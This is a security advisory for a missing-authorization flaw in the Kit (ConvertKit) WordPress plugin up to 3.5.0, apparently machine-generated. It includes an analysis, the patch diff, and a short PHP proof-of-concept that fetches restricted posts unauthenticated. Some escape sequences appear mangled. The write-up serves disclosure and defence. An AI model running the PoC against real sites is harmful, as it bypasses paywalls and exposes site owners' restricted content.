Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125439: Kit (formerly ConvertKit) – Email Subscribers, Email Newsletter, Email Marketing, Landing Pages and Membership <= 3.5.0 Missing Authorization PoC, Patch Analysis & Rule

Plugin convertkit
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.5.0
Patched Version 3.5.1
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125439: The Kit (formerly ConvertKit) WordPress plugin through version 3.5.0 contains a missing authorization vulnerability in its Restrict Content feature. The flaw allows unauthenticated attackers to view restricted content by exploiting a logic error in the access control check. The vulnerability has a CVSS score of 5.3 (Medium) and is classified as CWE-862 (Missing Authorization).

The root cause lies in the `can_view_post` method within `convertkit/includes/class-convertkit-output-restrict-content.php`. In the vulnerable version, the method returns `true` (allowing access) when the plugin’s API access token is not configured: `if ( ! $this->settings->has_access_and_refresh_token() ) { return true; }`. This check appears before any validation of the visitor’s subscription status, meaning that if the site owner has not connected the plugin to Kit (or the token has been revoked), all restricted posts become publicly accessible. The patch (v3.5.1) moves this check to after determining that the post is restricted by member content and changes the return value to `false`, thus denying access when the plugin cannot verify subscriptions. Additionally, the patch introduces multiple related security hardening measures, such as filtering AJAX responses, REST API attachments, and search results, but the core issue remains the missing authorization due to the token check.

An attacker can exploit this vulnerability by simply visiting any post that has the ‘Restrict Content’ setting enabled while the plugin is not connected to Kit (i.e., no access token). The attacker does not need any authentication or special parameters. For example, if a site has restricted posts but the plugin’s API credentials are missing, an unauthenticated user can access the full content of those posts directly at their permalinks. The vulnerability is triggered on the frontend when the `the_content` filter is applied via the `maybe_restrict_content` method, which calls `can_view_post`. No specific endpoint or payload is required; the attack is a direct access to the restricted URL.

The patch fixes the issue by relocating the token check in `can_view_post` to after the post is confirmed to be restricted, and returning `false` instead of `true`. This ensures that if the plugin cannot verify a visitor’s subscription (due to missing API credentials), access is denied. The patch also changes the default behavior of `resource_exists` to assume resources exist when the API fails, and adds several other filters to prevent content leakage via AJAX, REST, and search. These changes collectively prevent unauthorized access even when the plugin is misconfigured.

If exploited, this vulnerability allows unauthenticated attackers to bypass paywalls and access restricted content, such as premium articles, downloads, or membership-only pages. This can lead to exposure of sensitive information, loss of revenue for site owners, and potential privacy breaches. The impact is limited to confidentiality; there is no integrity or availability impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/convertkit/admin/class-convertkit-admin-tinymce.php
+++ b/convertkit/admin/class-convertkit-admin-tinymce.php
@@ -25,7 +25,8 @@

 		// Add filters to register QuickTag Plugins.
 		add_action( 'admin_enqueue_scripts', array( $this, 'register_quicktags' ) ); // WordPress Admin.
-		add_action( 'wp_enqueue_scripts', array( $this, 'register_quicktags' ) ); // Frontend Editors.
+		add_action( 'wp_enqueue_scripts', array( $this, 'maybe_register_quicktags_frontend' ) ); // Frontend Page Builders.
+		add_action( 'wp_enqueue_editor', array( $this, 'maybe_register_quicktags_frontend' ) ); // Frontend Editors.

 		// Add filters to register TinyMCE Plugins.
 		// Low priority ensures this works with Frontend Page Builders.
@@ -128,6 +129,38 @@

 	}

+	/**
+	 * Registers QuickTags JS for the TinyMCE Text (non-Visual) Editor on the frontend site when a
+	 * Page Builder is used or an editor is output, so assets aren't loaded on every frontend page.
+	 *
+	 * @since   3.5.1
+	 */
+	public function maybe_register_quicktags_frontend() {
+
+		// Bail if in the WordPress Admin, as admin_enqueue_scripts registers QuickTags.
+		if ( is_admin() ) {
+			return;
+		}
+
+		// Bail if the user can't edit Posts.
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			return;
+		}
+
+		// Bail if this isn't a frontend Page Builder, and no editor is being output.
+		if ( ! doing_action( 'wp_enqueue_editor' ) && ! WP_ConvertKit()->is_admin_or_frontend_editor() ) {
+			return;
+		}
+
+		// Bail if QuickTags are already registered.
+		if ( wp_script_is( 'convertkit-admin-quicktags' ) ) {
+			return;
+		}
+
+		$this->register_quicktags();
+
+	}
+
 	/**
 	 * Registers QuickTags JS for the TinyMCE Text (non-Visual) Editor
 	 *
--- a/convertkit/includes/class-convertkit-output-restrict-content.php
+++ b/convertkit/includes/class-convertkit-output-restrict-content.php
@@ -133,6 +133,9 @@
 		add_action( 'wp', array( $this, 'maybe_run_subscriber_logout' ), 3 );
 		add_action( 'wp', array( $this, 'maybe_run_subscriber_verification' ), 4 );
 		add_action( 'wp', array( $this, 'register_content_filter' ), 5 );
+		add_action( 'admin_init', array( $this, 'register_ajax_content_filter' ) );
+		add_action( 'template_redirect', array( $this, 'maybe_restrict_attachment' ), 1 );
+		add_action( 'pre_get_posts', array( $this, 'maybe_exclude_restricted_search_results' ) );
 		add_filter( 'get_previous_post_where', array( $this, 'maybe_change_previous_post_where_clause' ), 10, 5 );
 		add_filter( 'get_next_post_where', array( $this, 'maybe_change_next_post_where_clause' ), 10, 5 );
 		add_filter( 'get_previous_post_sort', array( $this, 'maybe_change_previous_next_post_order_by_clause' ), 10, 3 );
@@ -774,6 +777,23 @@
 	}

 	/**
+	 * Registers the content filter for AJAX requests, as the `wp` action doesn't run in them,
+	 * so content output by Themes and Plugins using AJAX e.g. "load more" buttons is restricted.
+	 *
+	 * @since   3.5.1
+	 */
+	public function register_ajax_content_filter() {
+
+		// Bail if this isn't an AJAX request.
+		if ( ! wp_doing_ajax() ) {
+			return;
+		}
+
+		add_filter( 'the_content', array( $this, 'maybe_restrict_content' ) );
+
+	}
+
+	/**
 	 * Registers filters to restrict content in REST API responses for Post Types
 	 * supporting Member Content.
 	 *
@@ -785,10 +805,12 @@
 			add_filter( 'rest_prepare_' . $post_type, array( $this, 'maybe_restrict_rest_content' ), 10, 2 );
 		}

+		add_filter( 'rest_prepare_attachment', array( $this, 'maybe_restrict_rest_attachment' ), 10, 2 );
+
 	}

 	/**
-	 * Replaces the rendered content in a REST API response with the content preview,
+	 * Replaces the rendered content and excerpt in a REST API response with the content preview,
 	 * if the Post is restricted and the visitor cannot view it.
 	 *
 	 * @since   3.4.8
@@ -799,8 +821,8 @@
 	 */
 	public function maybe_restrict_rest_content( $response, $post ) {

-		// Bail if the response doesn't include the rendered content e.g. the _fields parameter was used.
-		if ( ! isset( $response->data['content']['rendered'] ) ) {
+		// Bail if the response doesn't include the rendered content or excerpt e.g. the _fields parameter was used.
+		if ( ! isset( $response->data['content']['rendered'] ) && ! isset( $response->data['excerpt']['rendered'] ) ) {
 			return $response;
 		}

@@ -814,6 +836,9 @@
 			return $response;
 		}

+		// Use the rendered content if included in the response, otherwise render the Post's content.
+		$content = isset( $response->data['content']['rendered'] ) ? $response->data['content']['rendered'] : apply_filters( 'the_content', $post->post_content );
+
 		/**
 		 * Define the output for the content preview when the visitor is not
 		 * an authenticated subscriber.
@@ -823,13 +848,197 @@
 		 * @param   string  $content_preview    Content preview.
 		 * @param   int     $post_id            Post ID.
 		 */
-		$response->data['content']['rendered'] = apply_filters( 'convertkit_output_restrict_content_content_preview', $this->get_content_preview( $response->data['content']['rendered'] ), $post->ID );
+		$content_preview = apply_filters( 'convertkit_output_restrict_content_content_preview', $this->get_content_preview( $content ), $post->ID );
+
+		// Replace the rendered content with the content preview.
+		if ( isset( $response->data['content']['rendered'] ) ) {
+			$response->data['content']['rendered'] = $content_preview;
+		}
+
+		// Replace the generated excerpt with one built from the content preview, as WordPress builds it from the full content.
+		if ( isset( $response->data['excerpt']['rendered'] ) && ! has_excerpt( $post ) ) {
+			$response->data['excerpt']['rendered'] = wpautop( $this->get_excerpt_from_content_preview( $content_preview ) );
+		}

 		return $response;

 	}

 	/**
+	 * Removes an attachment's details from a REST API response, if it's attached to a Post
+	 * that is restricted and the visitor cannot view it, so its file URL isn't disclosed.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @param   WP_REST_Response $response   REST API Response.
+	 * @param   WP_Post          $post       Attachment.
+	 * @return  WP_REST_Response
+	 */
+	public function maybe_restrict_rest_attachment( $response, $post ) {
+
+		// Bail if the visitor can view the attachment.
+		if ( $this->can_view_attachment( $post ) ) {
+			return $response;
+		}
+
+		// Only return the attachment's ID.
+		return rest_ensure_response( array( 'id' => $post->ID ) );
+
+	}
+
+	/**
+	 * Displays a 404 for an attachment's page, if it's attached to a Post that is restricted
+	 * and the visitor cannot view it, so its file URL isn't disclosed.
+	 *
+	 * Runs before WordPress redirects attachment pages to the file, when attachment pages are disabled.
+	 *
+	 * @since   3.5.1
+	 */
+	public function maybe_restrict_attachment() {
+
+		global $wp_query;
+
+		// Bail if this isn't an attachment's page.
+		if ( ! is_attachment() ) {
+			return;
+		}
+
+		// Bail if the visitor can view the attachment.
+		if ( $this->can_view_attachment( get_post( get_queried_object_id() ) ) ) {
+			return;
+		}
+
+		// Display a 404.
+		$wp_query->set_404();
+		status_header( 404 );
+		nocache_headers();
+
+	}
+
+	/**
+	 * Excludes Posts from search results that the visitor cannot view, if the search terms
+	 * only match the Post's restricted content, so searches can't be used to discover it.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @param   WP_Query $query  Query.
+	 */
+	public function maybe_exclude_restricted_search_results( $query ) {
+
+		// Bail if this isn't a search, or is the query below finding Posts matching the search.
+		if ( ! $query->is_search() || $query->get( 'convertkit_restrict_content_search' ) ) {
+			return;
+		}
+
+		// Initialize classes, if this query runs before the init hook.
+		if ( ! $this->restrict_content_settings ) {
+			$this->initialize_classes();
+		}
+
+		// Find Posts matching the search that have the Member Content setting defined.
+		$post_ids = get_posts(
+			array(
+				'convertkit_restrict_content_search' => true,
+				's'                                  => $query->get( 's' ),
+				'post_type'                          => $query->get( 'post_type' ) ? $query->get( 'post_type' ) : 'any',
+				'post_status'                        => 'publish',
+				'fields'                             => 'ids',
+				'posts_per_page'                     => -1,
+				'meta_query'                         => array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+					array(
+						'key'     => '_wp_convertkit_post_meta',
+						'value'   => 's:16:"restrict_content";s:0:""',
+						'compare' => 'NOT LIKE',
+					),
+				),
+			)
+		);
+
+		// Load Post meta in a single query, as each Post's Member Content setting is checked below.
+		update_meta_cache( 'post', $post_ids );
+
+		$excluded_post_ids = array();
+		foreach ( $post_ids as $post_id ) {
+			// Skip if the user can edit or the visitor can view the Post.
+			if ( current_user_can( 'edit_post', $post_id ) || $this->can_view_post( $post_id ) ) {
+				continue;
+			}
+
+			// Skip if all search terms match the content the visitor can see.
+			if ( $this->search_terms_match_visible_content( get_post( $post_id ), $query->get( 's' ) ) ) {
+				continue;
+			}
+
+			$excluded_post_ids[] = $post_id;
+		}
+
+		// Bail if no Posts need to be excluded.
+		if ( empty( $excluded_post_ids ) ) {
+			return;
+		}
+
+		$query->set( 'post__not_in', array_merge( (array) $query->get( 'post__not_in' ), $excluded_post_ids ) );
+
+	}
+
+	/**
+	 * Determines if all search terms match the content of a restricted Post that the visitor can see:
+	 * its title, excerpt and content preview.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @param   WP_Post $post       Post.
+	 * @param   string  $search     Search string.
+	 * @return  bool
+	 */
+	private function search_terms_match_visible_content( $post, $search ) {
+
+		// Use the content before the Read More tag as the preview, or the start of the content if no tag exists, as
+		// WordPress does when generating an excerpt.
+		$content_breakdown = get_extended( $post->post_content );
+		$preview           = ! empty( $content_breakdown['extended'] ) ? $content_breakdown['main'] : wp_trim_words( strip_shortcodes( $post->post_content ), apply_filters( 'excerpt_length', 55 ), '' );
+
+		// Build the content the visitor can see.
+		$visible_content = wp_strip_all_tags( $post->post_title . ' ' . $post->post_excerpt . ' ' . $preview );
+
+		// Split the search into terms, removing quotes, as WordPress does.
+		preg_match_all( '/".*?("|$)|((?<=[t ",+])|^)[^t ",+]+/', $search, $matches );
+		foreach ( $matches[0] as $search_term ) {
+			if ( stripos( $visible_content, trim( $search_term, ""' nr" ) ) === false ) {
+				return false;
+			}
+		}
+
+		return true;
+
+	}
+
+	/**
+	 * Determines if the visitor can view the given attachment, based on the Member Content
+	 * setting of the Post it's attached to.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @param   WP_Post|null $attachment     Attachment.
+	 * @return  bool
+	 */
+	private function can_view_attachment( $attachment ) {
+
+		// Bail if the attachment doesn't exist or isn't attached to a Post.
+		if ( ! $attachment || ! $attachment->post_parent ) {
+			return true;
+		}
+
+		// Bail if the user can edit the Post the attachment is attached to.
+		if ( current_user_can( 'edit_post', $attachment->post_parent ) ) {
+			return true;
+		}
+
+		return $this->can_view_post( $attachment->post_parent );
+
+	}
+
+	/**
 	 * Replaces a Post's content in RSS and Atom feeds and archives with the content
 	 * preview, if the Post is restricted and the visitor cannot view it.
 	 *
@@ -882,9 +1091,23 @@
 			return $excerpt;
 		}

-		// Build the excerpt from the content preview, using the same length and more text as WordPress.
+		// Build the excerpt from the content preview.
+		return $this->get_excerpt_from_content_preview( $this->maybe_restrict_content_preview( apply_filters( 'the_content', get_the_content() ) ) );
+
+	}
+
+	/**
+	 * Builds an excerpt from the given content preview, using the same length and more text as WordPress.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @param   string $content_preview    Content preview.
+	 * @return  string
+	 */
+	private function get_excerpt_from_content_preview( $content_preview ) {
+
 		return wp_trim_words(
-			$this->maybe_restrict_content_preview( apply_filters( 'the_content', get_the_content() ) ),
+			$content_preview,
 			apply_filters( 'excerpt_length', 55 ),
 			apply_filters( 'excerpt_more', ' […]' )
 		);
@@ -964,12 +1187,6 @@
 	 */
 	public function can_view_post( $post_id ) {

-		// If the Plugin Access Token has not been configured, we can't determine the validity of this subscriber ID
-		// or which resource(s) they have access to.
-		if ( ! $this->settings->has_access_and_refresh_token() ) {
-			return true;
-		}
-
 		// Bail if the Restrict Content setting is not enabled on this Post.
 		$this->post_id       = $post_id;
 		$this->post_settings = new ConvertKit_Post( $this->post_id );
@@ -1006,6 +1223,12 @@
 			return true;
 		}

+		// The visitor cannot view the content if the Plugin isn't connected to Kit e.g. the access token was revoked,
+		// as we can't determine whether they have access.
+		if ( ! $this->settings->has_access_and_refresh_token() ) {
+			return false;
+		}
+
 		// Bail if the resource no longer exists in Kit e.g. a Tag or Product has been deleted,
 		// but the Post still references it under the 'Member Content' setting.
 		if ( ! $this->resource_exists() ) {
@@ -1257,12 +1480,6 @@
 			return false;
 		}

-		// If the Plugin Access Token has not been configured, we can't determine the validity of this subscriber ID
-		// or which resource(s) they have access to.
-		if ( ! $this->settings->has_access_and_refresh_token() ) {
-			return false;
-		}
-
 		// Get Post ID.
 		$this->post_id = get_the_ID();

@@ -1396,51 +1613,31 @@
 	private function resource_exists() {

 		switch ( $this->resource_type ) {
-
 			case 'product':
-				// Get Product.
-				$products = new ConvertKit_Resource_Products( 'restrict_content' );
-				$product  = $products->get_by_id( $this->resource_id );
-
-				// If the Product does not exist, return false.
-				if ( ! $product ) {
-					return false;
-				}
-
-				// Product exists in ConvertKit.
-				return true;
+				$resources = new ConvertKit_Resource_Products( 'restrict_content' );
+				break;

 			case 'form':
-				// Get Form.
-				$forms = new ConvertKit_Resource_Forms( 'restrict_content' );
-				$form  = $forms->get_by_id( $this->resource_id );
-
-				// If the Form does not exist, return false.
-				if ( ! $form ) {
-					return false;
-				}
-
-				// Form exists in ConvertKit.
-				return true;
+				$resources = new ConvertKit_Resource_Forms( 'restrict_content' );
+				break;

 			case 'tag':
-				// Get Tag.
-				$tags = new ConvertKit_Resource_Tags( 'restrict_content' );
-				$tag  = $tags->get_by_id( $this->resource_id );
-
-				// If the Tag does not exist, return false.
-				if ( ! $tag ) {
-					return false;
-				}
-
-				// Tag exists in ConvertKit.
-				return true;
+				$resources = new ConvertKit_Resource_Tags( 'restrict_content' );
+				break;

 			default:
 				return false;
+		}

+		// Assume the resource exists if resources couldn't be fetched from Kit e.g. an API error,
+		// so content remains restricted instead of being displayed to everyone.
+		if ( ! is_array( $resources->resources ) ) {
+			return true;
 		}

+		// Return whether the resource exists in Kit.
+		return (bool) $resources->get_by_id( $this->resource_id );
+
 	}

 	/**
@@ -1728,13 +1925,15 @@

 		// Remove 'the_content' filter, as if the Post contains no defined excerpt, WordPress
 		// will invoke the Post's content to build an excerpt, resulting in an infinite loop.
-		remove_filter( 'the_content', array( $this, 'maybe_restrict_content' ) );
+		$filter_removed = remove_filter( 'the_content', array( $this, 'maybe_restrict_content' ) );

 		// Generate the Post's excerpt.
 		$excerpt = get_the_excerpt( $post_id );

-		// Restore filters so other functions and Plugins aren't affected.
-		add_filter( 'the_content', array( $this, 'maybe_restrict_content' ) );
+		// Restore the filter if it was registered e.g. not in a REST API request, so other functions and Plugins aren't affected.
+		if ( $filter_removed ) {
+			add_filter( 'the_content', array( $this, 'maybe_restrict_content' ) );
+		}

 		// Return the excerpt.
 		return wpautop( $excerpt );
@@ -1776,9 +1975,7 @@
 				$text    = $this->restrict_content_settings->get_by_key( 'subscribe_text' );

 				// Output product restricted message and email form.
-				// Get Product.
 				$products = new ConvertKit_Resource_Products( 'restrict_content' );
-				$product  = $products->get_by_id( $resource_id );

 				// Get commerce.js URL and enqueue.
 				$url = $products->get_commerce_js_url();
@@ -1792,15 +1989,25 @@
 					$this->output_login_modal( $post_id, $resource_id, $resource_type );
 				}

+				// Get the Product button, if Products could be fetched from Kit.
+				$button = '';
+				if ( $products->exist() ) {
+					$button = $products->get_html(
+						$resource_id,
+						$this->restrict_content_settings->get_by_key( 'subscribe_button_label' ),
+						array(
+							'css_classes' => array( 'wp-block-button__link', 'wp-element-button' ),
+						)
+					);
+				}
+
+				// Don't output the Product button if it couldn't be generated e.g. the Product doesn't exist.
+				if ( is_wp_error( $button ) ) {
+					$button = '';
+				}
+
 				// Output.
 				ob_start();
-				$button = $products->get_html(
-					$resource_id,
-					$this->restrict_content_settings->get_by_key( 'subscribe_button_label' ),
-					array(
-						'css_classes' => array( 'wp-block-button__link', 'wp-element-button' ),
-					)
-				);
 				include CONVERTKIT_PLUGIN_PATH . '/views/frontend/restrict-content/product.php';
 				return trim( ob_get_clean() );

@@ -1809,6 +2016,11 @@
 				$forms = new ConvertKit_Resource_Forms( 'restrict_content' );
 				$form  = $forms->get_html( $resource_id, $post_id );

+				// Don't output the Form if it couldn't be generated e.g. Forms couldn't be fetched from Kit.
+				if ( is_wp_error( $form ) ) {
+					$form = '';
+				}
+
 				// If scripts are enabled, output the email login form in a modal, which will be displayed
 				// when the 'log in' link is clicked.
 				if ( ! $this->settings->scripts_disabled() ) {
--- a/convertkit/includes/integrations/class-convertkit-avada.php
+++ b/convertkit/includes/integrations/class-convertkit-avada.php
@@ -0,0 +1,96 @@
+<?php
+/**
+ * ConvertKit Avada Theme Integration.
+ *
+ * @package ConvertKit
+ * @author ConvertKit
+ */
+
+/**
+ * Adds compatibility with the Avada theme by not restricting content
+ * in Avada Layout Sections that are not the Post's content, such as
+ * the Header, Page Title Bar and Footer.
+ *
+ * @since   3.5.1
+ */
+class ConvertKit_Avada {
+
+	/**
+	 * Avada Layout Sections that should not have Restrict Content applied.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @var     array
+	 */
+	private $sections = array(
+		'header',
+		'page_title_bar',
+		'footer',
+	);
+
+	/**
+	 * Whether the Restrict Content filter was removed whilst rendering an Avada Layout Section.
+	 *
+	 * @since   3.5.1
+	 *
+	 * @var     bool
+	 */
+	private $restrict_content_filter_removed = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since   3.5.1
+	 */
+	public function __construct() {
+
+		// Avada fires these actions immediately before and after running a Layout Section through `the_content`.
+		add_action( 'awb_remove_third_party_the_content_changes', array( $this, 'maybe_remove_restrict_content_filter' ) );
+		add_action( 'awb_readd_third_party_the_content_changes', array( $this, 'maybe_readd_restrict_content_filter' ) );
+
+	}
+
+	/**
+	 * Removes the Restrict Content filter if Avada is rendering a Header, Page Title Bar or Footer Layout Section.
+	 *
+	 * @since   3.5.1
+	 */
+	public function maybe_remove_restrict_content_filter() {
+
+		// Bail if Avada Builder is not active.
+		if ( ! function_exists( 'Fusion_Template_Builder' ) ) {
+			return;
+		}
+
+		// Bail if the Layout Section being rendered might be the Post's content.
+		if ( ! in_array( Fusion_Template_Builder()->get_current_override_name(), $this->sections, true ) ) { // @phpstan-ignore-line
+			return;
+		}
+
+		// Remove the Restrict Content filter, tracking if it was registered so it's only re-added if it was removed.
+		if ( remove_filter( 'the_content', array( WP_ConvertKit()->get_class( 'output_restrict_content' ), 'maybe_restrict_content' ) ) ) {
+			$this->restrict_content_filter_removed = true;
+		}
+
+	}
+
+	/**
+	 * Re-adds the Restrict Content filter if it was removed by maybe_remove_restrict_content_filter().
+	 *
+	 * @since   3.5.1
+	 */
+	public function maybe_readd_restrict_content_filter() {
+
+		// Bail if the Restrict Content filter wasn't removed.
+		if ( ! $this->restrict_content_filter_removed ) {
+			return;
+		}
+
+		add_filter( 'the_content', array( WP_ConvertKit()->get_class( 'output_restrict_content' ), 'maybe_restrict_content' ) );
+		$this->restrict_content_filter_removed = false;
+
+	}
+
+}
+
+new ConvertKit_Avada();
--- a/convertkit/vendor/composer/installed.php
+++ b/convertkit/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'convertkit/convertkit-wordpress',
-        'pretty_version' => '3.5.0',
-        'version' => '3.5.0.0',
-        'reference' => '60c278346a530dfda3e15b1466a84302e4977e79',
+        'pretty_version' => '3.5.1',
+        'version' => '3.5.1.0',
+        'reference' => '1bb32fb7ba3a6d9a4fe674bcb0af183c1dc8099e',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'convertkit/convertkit-wordpress' => array(
-            'pretty_version' => '3.5.0',
-            'version' => '3.5.0.0',
-            'reference' => '60c278346a530dfda3e15b1466a84302e4977e79',
+            'pretty_version' => '3.5.1',
+            'version' => '3.5.1.0',
+            'reference' => '1bb32fb7ba3a6d9a4fe674bcb0af183c1dc8099e',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/convertkit/wp-convertkit.php
+++ b/convertkit/wp-convertkit.php
@@ -9,7 +9,7 @@
  * Plugin Name: Kit (formerly ConvertKit)
  * Plugin URI: https://kit.com/
  * Description: Display Kit (formerly ConvertKit) email subscription forms, landing pages, products, broadcasts and more.
- * Version: 3.5.0
+ * Version: 3.5.1
  * Author: Kit
  * Author URI: https://kit.com/
  * Text Domain: convertkit
@@ -27,7 +27,7 @@
 define( 'CONVERTKIT_PLUGIN_FILE', plugin_basename( __FILE__ ) );
 define( 'CONVERTKIT_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'CONVERTKIT_PLUGIN_PATH', __DIR__ );
-define( 'CONVERTKIT_PLUGIN_VERSION', '3.5.0' );
+define( 'CONVERTKIT_PLUGIN_VERSION', '3.5.1' );
 define( 'CONVERTKIT_OAUTH_CLIENT_ID', 'HXZlOCj-K5r0ufuWCtyoyo3f688VmMAYSsKg1eGvw0Y' );
 define( 'CONVERTKIT_OAUTH_CLIENT_REDIRECT_URI', 'https://app.kit.com/wordpress/redirect' );
 define( 'CONVERTKIT_NONCE_ACTION_OAUTH_CONNECT', 'convertkit-oauth-connect' );
@@ -109,6 +109,9 @@
 require_once CONVERTKIT_PLUGIN_PATH . '/includes/cron-functions.php';
 require_once CONVERTKIT_PLUGIN_PATH . '/includes/functions.php';

+// Avada Integration.
+require_once CONVERTKIT_PLUGIN_PATH . '/includes/integrations/class-convertkit-avada.php';
+
 // Contact Form 7 Integration.
 require_once CONVERTKIT_PLUGIN_PATH . '/includes/integrations/contactform7/class-convertkit-contactform7.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125439 - Kit (formerly ConvertKit) – Email Subscribers, Email Newsletter, Email Marketing, Landing Pages and Membership <= 3.5.0 - Missing Authorization

// This PoC demonstrates that when the Kit plugin is installed but not connected to Kit (no access token),
// an unauthenticated user can access content restricted via the 'Restrict Content' feature.

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$restricted_post_id = 123; // Replace with the ID of a post that has Restrict Content enabled

// Step 1: Fetch the restricted post as an unauthenticated user
$url = $target_url . '/?p=' . $restricted_post_id;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; AtomicEdge PoC)');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to retrieve post. HTTP code: $http_coden");
}

// Step 2: Check if the content is restricted or not.
// In a properly secured setup, the content would be replaced with a preview and a subscription form.
// If the vulnerability exists, the full content will be present.
// Typical signs of restriction: presence of a form with class 'convertkit' or text like 'Subscribe'.
// Adjust these markers based on the actual restriction output.
$is_restricted = (strpos($response, 'convertkit-form') !== false || strpos($response, 'Subscribe') !== false);

if (!$is_restricted) {
    echo "[+] Vulnerability confirmed: The restricted content is fully accessible without authentication.n";
    // Optionally, extract and display the content to prove access
    // For example, use DOMDocument to extract the article content
} else {
    echo "[-] The content appears to be restricted. The vulnerability may not be present or the plugin is connected.n";
}

// Note: This PoC assumes the plugin is not connected (no access token).
// To test, ensure the Kit plugin is installed and activated but not connected to Kit.
// Create a post with 'Restrict Content' enabled (e.g., via the post editor).
// Then run this script.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.